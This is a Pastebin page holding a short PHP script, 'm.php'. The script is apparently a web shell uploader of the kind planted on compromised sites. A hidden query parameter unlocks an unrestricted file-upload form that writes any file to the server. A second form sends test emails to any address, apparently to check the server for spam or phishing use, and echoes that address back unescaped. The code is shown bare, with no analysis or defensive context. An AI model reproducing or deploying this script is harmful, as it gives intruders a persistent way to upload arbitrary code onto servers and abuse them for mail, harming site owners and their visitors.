Advertisement
zachdyer

m.php

Feb 13th, 2019
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.74 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. $wp  = $_GET['wp'];
  4. if($wp== '1'){
  5. $wp_ = $_FILES['file']['name'];
  6. $wp__  = $_FILES['file']['tmp_name'];
  7. echo "<form method='POST' enctype='multipart/form-data'>
  8. <input type='file'name='file' />
  9. <input type='submit' value='Submit' />
  10. </form>";
  11. move_uploaded_file($wp__,$wp_);
  12. }
  13. ?>
  14. Upload is <b><font color='green'>WORKING.</font></b><br>
  15. Check  Mailling ..<br>
  16. <form method="post">
  17. <input type="text" name="email" value="<?php print $_POST['email']?>"required >
  18. <input type="submit" value="Send test >>">
  19. </form>
  20. <br>
  21. <?php
  22. if (!empty($_POST['email'])){
  23.     $xx = rand();
  24.     mail($_POST['email'],"Result Report Test - ".$xx,"WORKING !");
  25.     print "<b>send an report to [".$_POST['email']."] - $xx</b>";
  26. }
  27. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement